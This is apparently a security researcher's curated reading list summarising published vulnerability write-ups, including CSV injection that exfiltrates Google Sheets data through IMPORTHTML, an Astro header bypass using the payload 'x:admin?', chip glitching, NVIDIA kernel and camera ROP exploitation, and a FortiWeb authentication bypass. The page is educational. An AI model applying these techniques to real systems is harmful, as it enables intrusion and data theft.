Resources

People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!

Who Needs a Blind XSS? Server-Side CSV Injection Across Support Pipelines - 1805

Hx01    Reference →Posted 3 Months Ago
  • Blind XSS is a funny bug. You launch a payload, you walk away and eventually, the exploit is triggered when somebody loads the page. This article describes a similar type of exploit but with using CSVs.
  • CSV's are used everywhere by moderen companies. Spreadsheets viewed in Excel, automation tool downloading, Salesforce reports... lots of places. If we can poison the pipeline of a web page, what if we could do the same for CSV? Depending on the parser, there are some powerful ways to call things in CSV. So, this could be used to perform a multitude of exploits, depending on the system.
  • They decided to target the usage of Google Sheets having CSV imported from it. The function IMPORTHTML is a great target because it makes web requests. By concatenating rows in the sheet to the web request, they would be able to see some of the data in the sheet. The server that received the request also logged the host, path, query, timestamp and user agent.
  • So, where do we send this data to? Initally, they tried sending it to hundreds of support and contact email addresses, technical support channels and other places along these lines. When this didn't work, they tried adding it to web forms. From this, they got some hits after 20 days.
  • The author made an interesting note: all of the callbacks were made not at ingestion but at some other process in the internal pipeline. Whether this was an internal parser for Google Sheets or a real human opening the file, it depended on the user. Exporting CSVs from Salesforce, Zendesk and Hubspot were big. Automation tools like Zapier and Workato would insert data into Google Sheets live, creating a fairly quick turnaround.
  • Who were the victims of this? A large social media platform sent them forwarded emails from a payments-support inbox. A major hotel chain sent membership application details. Even a bug bounty live hacking intake form sent personal details to them. This was reported to all of them. Most of them fixed the issue by performing input validation on the data at the point of ingestion.
  • A unique showcase into what some engineering, creativity and throwing a payload at every possible target can do. Great research!

Astro framework and standards weaponization- 1804

Zhero    Reference →Posted 3 Months Ago
  • Astro is a web framework that has gained a lot of popularity in recent years - 50K stars and 800K downloads per week. It renders components on the server side, similar to NextJS but sends lightweight HTML to the browser with no JavaScript by default. Because of it's popularity, the authors of this post decided to look into the framework more.
  • In Node's adapter function createRequest, it takes in a protocol, host name + port and path. A recent vulnerability labeled that the x-forwarded-host header was used to construct the URL without any validation. Although this was fixed, it seemed to open a pandora's box around these types of issues. Notably, x-forwarded-proto was NOT fixed. Since the protocol lives at the beginning of the URL, it's possible to use this header to change the rest of the URL being parsed.
  • This is a very powerful primitive: the real URL isn't being modified but the information being rendered is. This could lead to cache poisoning XSS or SSRF issue for all websites, which is pretty wild. Their first exploits revolves around bypassing middleware protections (similar to a bug they found in NextJS). For example, the configuration of the website redirects all users to a different path unless they are logged in as admin; this check is done via middleware. Unfortunately, it's as simple as putting data into the x-forwarded-proto and rerouting; if we do this, THIS is the final path. Time for some trickery.
  • The authors spent a lot of time looking at the WHATWG URL specification to learn about interesting edge cases. After a while, they came to the payload x:admin?. First, the parser sees the protocol x. Since there is no /, the path is parsed next - not an authority; the path is admin. If the URL is special, such as http, then the slashes can actually be skipped. http:admin? would have the domain be admin and contain an empty path name.
  • In the original code example, an exact check is performed on the path - /admin. In the case of x:admin? the path is admin! The missing forward slash creates an incorrect string comparison that allows for bypassing the verification. The question mark is required for the path in order to eat the real host and path.
  • To turn this into XSS, it relies on cache poisoning. Many CDNs do not include the presence of the x-forwarded-proto header as part of the cache key. So, if the application generates dynamic links based upon Astro.url, this can now lead to XSS. The link can be poisoned to all who access the page.
  • The bug was fixed by doing some validation on the input of the headers. However, there was another parsing issue. The validation was only ran if x-forwarded-host was included. By setting this to an empty string, JavaScript treats this as null on the check and no validation is done. Later on, the empty domain is used and concatenated with the path. By setting the path to be the domain the URL becomes controllable once again. A neat bug!
  • An amazing blog post! I loved the technical rigor of the parser and the bypassed patch as well. Both were very complicated issues to exploit but fairly obvious bugs by themselves. I'll leave with a direct quote from the article "It goes to show that sometimes it’s just a matter of timing: having the right details freshly in mind, along with the perfect situation to put them into practice."

Security through Transparency: Tales from the RP2350 Hacking Challenge- 1803

Stacksmashing and Others    Reference →Posted 3 Months Ago
  • The RP2350 by Raspberry Pi is a MicroController Unit (MCU) chip that provides a root of trust for larger systems, with tools like secure boot. This article explains the chip's security design and how it was defeated in several ways.
  • The RP2350 is a dual-core, dual-architecture MCU with on-chip SRAM and OTP fuses. The chip contains an Cortex-M33 processor that implements TrustZone-M for secure world and non-secure world computing. There are one-time programmable Fuses (OTP) for storing root-of-trust information. There is a glitch detector that runs in 4 physically separate locations that works by detecting manipulation in the clock or voltage. Finally, there is a redundancy co-processor that executes all code in parallel, ensuring deterministic execution and protection against fault injection. For further FI protections in software, there are stack canaries, instruction delays to make FI less consistent, and integer/boolean value validation.
  • The first security issue is around the reading of OTP Power-On State Machine (PSM). To prevent glitching the IPS voltage line, guard reads are in place; if a specific value isn't read before the real value, then the read must be corrupted. The OTP Power Supply (IPS) saves the read data during a power failure, as long as the power remains off. When this happens, the data are interpreted as the value on the IPS line! By carrying forward the guard word, this becomes a major problem.
  • Once the data is read out, it's written back to the OTP rows. By chance, the guard word 0x333333 is written back to the CRIT1 and CRIT2 OTP rows, changing the chip's security. This disables secure boot, bypassing the chip's security. Additionally, DEBUG_DISABLE is also disabled, giving full debug access to the chip. This issue was found by dynamically debugging the chip and observing the results. Pretty neat!
  • Much of the bootloader contains code with hardened checks that assume glitching. For instance, double-checking values, XORing magic values, and many other things are done. By reviewing the ASM of the bootloader, they found a primitive that, when specific instructions were skipped via glitching, allowed them to jump to an arbitrary location in RAM. By loading a malicious firmware into memory, this could be used to load an arbitrary binary.
  • They attempted to do these in order of least difficult. First, they used a debugger on the chip to see whether skipping these instructions would allow their attack to work. Next, they performed the attack both with and without glitch detection. Although the glitch detections prevented the attack most of the time, successful glitches still got through. They think this is because the glitch could be so minor and still succeed. Overall, an interesting attack and good discovery via code review.
  • The next attack uses laser fault injection to create localized errors not detected by the built-in defenses. Their target was the hashing process of loading in the firmware to be verified. Since QSPI flash can be swapped in, it's possible to create TOCTOU bugs on verified vs. executed firmware in conjunction with FI. They found several locations where a successful glitch caused unauthorized code to run.
  • The next attack was another quick glitch in the reading of OTP values. OTP pages are configured to be readable by the firmware but NOT by the otp commands that an attacker could run. This is done by reading the SW_LOCK fuse twice. The code performs left and right 28-bit shifts to clear the upper bits of the locked value. If the right-shift instruction is skipped, then the OTP value will have a corrupted value and the SW_LOCK write to OTP is skipped. This read is performed twice with randomized time delays, but it is still doable with an Electromagnetic fault injection setup. This allows using the OTP boot to read fuses that shouldn't be accessible.
  • The fuses are assumed to be unreadable. Their final attack is to read the fuse data directly from the fuse memory array. They found that Passive Voltage Contrast (PVC) could be used to read the antifuse bitcell memory. A little over my head, but still interesting research.
  • They have a few takeaways:
    • Effectiveness of Hardware Mitigations. Two of their techniques bypass these protections altogether, while others were able to work around the restrictions. These make the attack harder to pull off, but not impossible.
    • The Dangers of Complicated Boot Paths. Bootrom and bootloaders should be minimal to minimize the primitives for exploitation. Other features should be added to a later stage.
  • I personally really enjoyed this research paper, though I did need to learn a lot of the concepts. Still, there's a constant cat-and-mouse game between hardware protections and attackers that hasn't been resolved yet. Great read!

WTF is ... - AI-Native SAST?- 1802

Parsia    Reference →Posted 3 Months Ago
  • To answer the question in the title: It's SAST (Static Application Security Testing) + LLMs. Traditional static analysis tools are poor at detecting certain bug classes, such as authorization and business logic bugs. AI can sometimes understand code context and identify issues.
  • At the beginning, they do outline some issues with it. First, is the cost of it. Tokens are cheap because they are subsidized. However, not that cheap; there's a ton of software to analyze. Secondly, there context rot. LLMs remember data from the beginning and the end, but not as much of the middle. Finally, LLMs are not deterministic; AI may review different code in different ways each time it sees it.
  • The author sees there being four inputs for LLM native tools: main input, prompt, RAG and context. The main input is the suspected vulnerable code or code that we're trying to look at. The prompt is the objective such as "does this code have XSS in it?" RAG is a framework for retrieving data to add as context to the call with more specific information about the task, such as XSS payloads and descriptions of XSS.
  • They have a few different mechanisms for using SAST with AI. The first one is Prompt + Code - simply give the AI code and tell it to analyze it. This is simple but better than not doing it at all. This can be paired with AI analyzing pull requests or using it as a classifier/triager before passing it to a more expensive model.
  • The next mode of operation is Prompt + Agent. This is the process of prompting the AI to find issues, giving it a set of tools to work with, and coming back a few hours later to see what it's found. This is the same as the first one but asking more specific prompts on code and seeing if it can find anything interesting on the particular targets that you gave it.
  • The third one is Tailored Prompt + SAST Result. This process is simple: run a SAST tool and give AI tailored prompts based on its findings. For very tailored SAST rules, this isn't helpful. For more "hotspot" types of issues, this can significantly reduce the noise. To make the AI more useful, we can add data flow analysis to it as well.
  • The final one that raise is Agent + Code Graph + SAST MCP. The author mostly uses and recreates an existing tool called ZeroPath for this. According to them, they use Tree-Sitter to parse the function graph and then enhance the steps with AI, such as adding notes for CSRF protection. MCPs (Model Context Protocols) give AI the ability to use tools, such as SemGrep, source code reading, and many other things. They also explain Embedding Models that allow for better data retrieval than MCP.
  • According to the author, the more you hold the AI's hand with tooling, the better the results will be. We still need the static analysis tools to augment the LLMs usage, as they can't purely understand complicated code on their own yet. Overall, a good post on the state of AI and how this engineer uses it themselves.

What is the Solana Virtual Machine (SVM)?- 1801

Helius    Reference →Posted 3 Months Ago
  • This article describes the process of executing a transaction within the Solana Virtual Machine. Unlike an EVM, where execution means executing opcodes in a VM, the SVM (Solana Virtual Machine) refers to the entire execution pipeline. This article explains the SVM in great detail. They choose to analyze codebases (Agave and Firedancer clients) rather than rely on a specification.
  • The SVM has several main components:
    • Banking Stage: Orchestrates the execution of a transaction at a specific slot. Gets the information from the Transaction Processing Unit (TPU). Handles parallel execution via checking account overlaps in transactions to be executed.
    • BPF Loader: Loads and JIT compiles an sBPF program.
    • sBPF VM: The sandboxed execution environment. uses a variant of BPF. These are also system calls to leave the sandbox.
    • AccountsDB: Persistent state layer where all account data, including the running code, lives.
  • A Solana program is usually written in Rust. It expects a single entrypoint function with the ProgramID of the program itself, an array of account information, and a byte slice of data needed for the transaction. The solana-program serves as the main library for interacting with the runtime, including transferring SOL and executing syscalls. Once compiled with Rust, keeping all its invariants, the code is lowered to LLVM IR. This is then translated into eBPF for actual usage. This allows for a pre-built sandbox to be executed within Solana.
  • Solana originally forked eBPF for its own purposes but has since reverted to the original implementation. The Instruction Set Architecture (ISA) contains 11 registers and uses a RISC-like design for about 100 opcodes. There is the loaded program code, stack, heap, input data passed within the transaction, and other read-only data within defined memory regions of the VM. The execution has a verifier for illegal jumps, unhittable code paths, call depth restrictions and many other things. The runtime has many Syscalls for executing special functions for interacting with the outside world, such as logging and other contract calls.
  • The program binary, that is uploaded by the user, is simply an ELF file. It contains a bytecode section, read-only data, BSS/data, and a symbol/relocation table. To upload the code to Solana, the special BPFLoaderProgram is used. Currently, there are two accounts associated with a program: one for the actual code and another for holding metadata about it. First, all of the bytecode is written via a combination of InitializeBuffer and Write() to an account. Once this is finished, a separate instruction runs various checks, such as bytecode and ELF verification.
  • The pipeline for executing a transaction is now as follows:
    1. User signs a transaction and forwards their intent to an RPC provider for propagation and execution.
    2. The transaction is sent to the TPU on each Solana validator that received the TX.
    3. The transaction is sent to the TPU on each Solana validator that received the TX. This includes signature verification and the fetching of necessary information for execution.
    4. The banking stage performs the actual execution. This includes loading, JITing and execution, as described before.
    5. Post execution verification is the final step. This will ensure state consistency, account ownership checks, lamport checks, and more.
    6. Commit all of the account modifications to storage.
  • Overall, a great post on teaching the nitty-gritty details of the SVM. This explains much of the complexities of execution, which is much appreciated!

Oops! It's a kernel stack use-after-free: Exploiting NVIDIA's GPU Linux drivers - 1800

Robin Bastide - Quarks Lab    Reference →Posted 3 Months Ago
  • Linux contains an open source NVIDA driver in the kernel. While reviewing this, they found a null pointer dereference by simply setting the MEMORY_DESCRIPTOR on the UVM_MAP_EXTERNAL_ALLOCATION for Unified Virtual Memory Framework. Usually, this would be a crash, but it has a much more devious consequence.
  • The functions threadStateInit() and threadStateFree() functions are used cross the open-gpu-kernel-modules a lot. The thread-state structure is added to a global red-black tree during initialization and removed once it is freed. The structure is a pointer to the Stack! If there's a kernel oops then the stack would be cleaned up. The second vulnerability is a stack use-after-free triggered by the null pointer dereference from above. I imagine that the author found this issue first and then searched for a crash.
  • The kernel stack is located in the vmalloc area. Its purpose is to allocate virtually contiguous memory with page granularity. It's used for stack allocations and for large kernel allocations. The goal is to get control over this data for reads and writes via a new allocation and then use the value in as a threadState.
  • There are several locations where these can be triggered: two of note are forking and Video4linux2 buffers. The Video4linux2 buffers give the attacker control in userland, allowing for arbitrary data to be read from and written to. The forking function gives us the ability to allocation 4 pages and a guard page that will quickly be freed. Both of these together give us what we need for memory grooming. Using a combination of these, it's possible to get the section of memory belonging to the Stack for the thread state.
  • The UAF occurs at a node in a Red-Black tree. Inserting a node by opening a GPU device adds a new pointer to it for a brief moment. By continually reading the node, it's possible to leak a kernel stack address. We don't know the exact offset due to the random_kstack_offset feature, but it's a good starting point.
  • With the leak, it's now possible to place data at Stack addresses that we control within the Red-Black tree. To exploit this, the author abused the recoloring and rotations performed in the tree. Similar to unlink, it can be used to get an arbitrary write primitive with constrained locations. They couldn't find any good targets within the dynamically allocated data so they decided to target the running kernel stack instead.
  • Within the open syscall, we can calculate offsets to where we need to write to and then overwrite arbitrary values on the stack. Notably, the file pointer can be corrupted, and it contains function pointers! To get the KASLR slide, sock_from_file() can be used to access private socket data and check the file type. By triggering different errors, it's possible to leak KASLR.
  • The function handler llseek() has no checks before calling the handler on the validity of the pointer. From userland, we can control the parameters and return values. How nice! With this, it's possible to corrupt the struct file directly to achieve code execution within the kernel. With this powerful call primitive, they created three primitives: kernel symbolication, arbitrary read, and arbitrary write. With these, they overwrote the creds of a process to become root. Neat!
  • A couple of things stood out to me. First, the complexity in getting this primitive to work is off the charts; so many little details to figure out. Second, I had no idea that structures could be randomized by the kernel at build time, making remote exploitation much harder. Overall, a great and in-depth post!

Cloudflare outage on November 18, 2025- 1799

Matthew Prince    Reference →Posted 3 Months Ago
  • Recently, Cloudflare had an outage. This is a post-mortem explaining the issue. They initially thought it was a hyperscale DDoS attack, but it wasn't a malicious cyber attack of any kind.
  • Cloudflare uses all requests through the Bot Management infrastructure, which uses machine learning to generate bot scores for every request. Customers control which bots are allowed to access sites. There is a feature configuration file that is used by the machine model. This file is refreshed every few minutes and published to the entire network.
  • A recent change to the ClickHouse query behaviour made it so that there were duplicate feature rows. The query for this information did not filter by a database name. When a new database with the same name was added, multiple values were being queried. This changed the file size, causing some of the bot's modules to error.
  • The Bot Management preallocates memory. It has a limit of 60 features, but this change led to the usage of about 200 features. The features parsing code, written in Rust, contains an unwrap() that will cause the program to panic when there are more than 60 features. Bad!
  • A good post-mortem. Cloudflare claims this is the first time most web traffic has gone down since 2019. It took about 2 hours to fix it for most people, which is a pretty great turnaround time!

No Leak, No Problem - Bypassing ASLR with a ROP Chain to Gain RCE- 1798

Michael Imfeld - Mod Zero    Reference →Posted 3 Months Ago
  • The author of this post found a really straight forward buffer overflow in the authentication API of an IP camera that could overwrite the return address on the stack. The application had NX enabled and ASLR but had no canaries, no PIE and partial RELRO. Given that they couldn't find a libc leak for a simple RET2Win attack, they needed to do this without an information disclosure. They did have the ability to call arbitrary code in the binary via ROP chains though!
  • The technique they end up using is interesting: use the Global Offset Table (GOT) and Procedure Linkage Table (PLT) to bypass ASLR. The idea is to use the code in the PLT to jump to incorrect functions using relative offsets. At a high level, this can work by reading a GOT entry into a register, increment/decrement the register until it's at the proper value and then jump to the register. An additional path is incrementing the GOT pointer itself.
  • After some effort, they found the function isalnum from libc that could take in user controlled input and was already loaded in the GOT. The difference between this function and system() is only 0x13230. So, the goal was to add this much to the address in the GOT entry to trigger code execution. While hunting for quick/easy gadgets, they didn't find any. All of them had side effects that made it infeasible.
  • After searching for gadgets for a while, they found a string of gadgets that could perform what they needed to do. Notably, the gadgets sometimes needed to call other gadgets, which made this even harder to do. The list of gadgets was as follows:
    1. Dereference isalnum@got and store the results in r6. The gadget wasn't perfect but did the job before jumping into the value in r3 for the next gadget.
    2. Use the next gadget to add the offset to system back into the GOT entry stored in r6. This jumps to the value stored in r3 for the next gadget in the chain.
    3. The final gadget writes r6 back to the GOT entry that we originally read. This is because they couldn't find a way to jump to r6.
    4. Prepare function arguments for system(). Then, trigger the overwritten GOT entry for code execution.
  • At the end of the post, they point out that this was a 32-bit binary and the offsets could have just been brute forced. In fact, their original exploit did exactly this. The creation of the exact chain required some difficult maneuvering of values in order to not have bad side effects. Overall, a great post on the end to end of exploiting the device!

When The Impersonation Function Gets Used To Impersonate Users (Fortinet FortiWeb Auth. Bypass CVE-2025-64446)- 1797

Sina Kheirkhah - Watchtowr    Reference →Posted 3 Months Ago
  • Fortinet had a 0-day that was identified publicly. This is a report of the timeline of the issue and the exploit that was found for it. It was made up of two security issues in total.
  • The first vulnerability is a fairly simple looking path traversal. By using a completely valid API path (/api/v2.0/cmdb/system/admin/) and then traversing backwards via ../ it was possible to traverse a different CGI executable on the device. The program likely took the rest of the path after the API endpoint and just used that as the path for the executable. However, the actual vulnerable path wasn't confirmed.
  • Once the CGI is called, that wasn't intended to be called, there are still two checks to bypass: input validation and auth check before it will process within cgi_process. The first check just performs basic JSON validation. The second item, labeled as cgi_auth(), is an impersonation function and NOT an authentication check. It extracts the header CGIINFO to decode a username, profile name, virtual domain and login identifier. With this information, you can impersonate any user in the application, such as the built-in admin.
  • The real exploit creates a local user with administrative privileges to take control of the device. Overall, an interesting bug that led to the triggering of unintended functionality. Pretty neat!

SlopGuard - AI Hallucination Detection for Package Dependencies- 1796

aditya01933    Reference →Posted 3 Months Ago
  • AI coding assistants can hallucinate non-existent package names. According to studies, somewhere between 5-21% are bad. 58% of these were recurring across multiple sessions.
  • In the past, typosquatting was a thing: create packages with common misspellings of a package to install code that the developer did not intend to install. This is the same thing but for AI generated code. To do this, monitor the AI output for commonly hallucinated package names, install the packages on PyPI, npm, RubyGems and other locations. By doing this, you can trick AI generated code to install malicious packages.
  • This is website is a tool that provides a lazy-loading trust scoring system with different tiers. With tier one, it does download, age and version history scoring. In tier 2 it does dependency analysis. In tier 3, it does a deep analysis of maintainer reputation, email domain verification and GitHub detection. This claims to have a very good accuracy and solve the problem. Under the hood, it's just a simple open source tool that does the scanning and even has GitHub CI integration support. Pretty neat!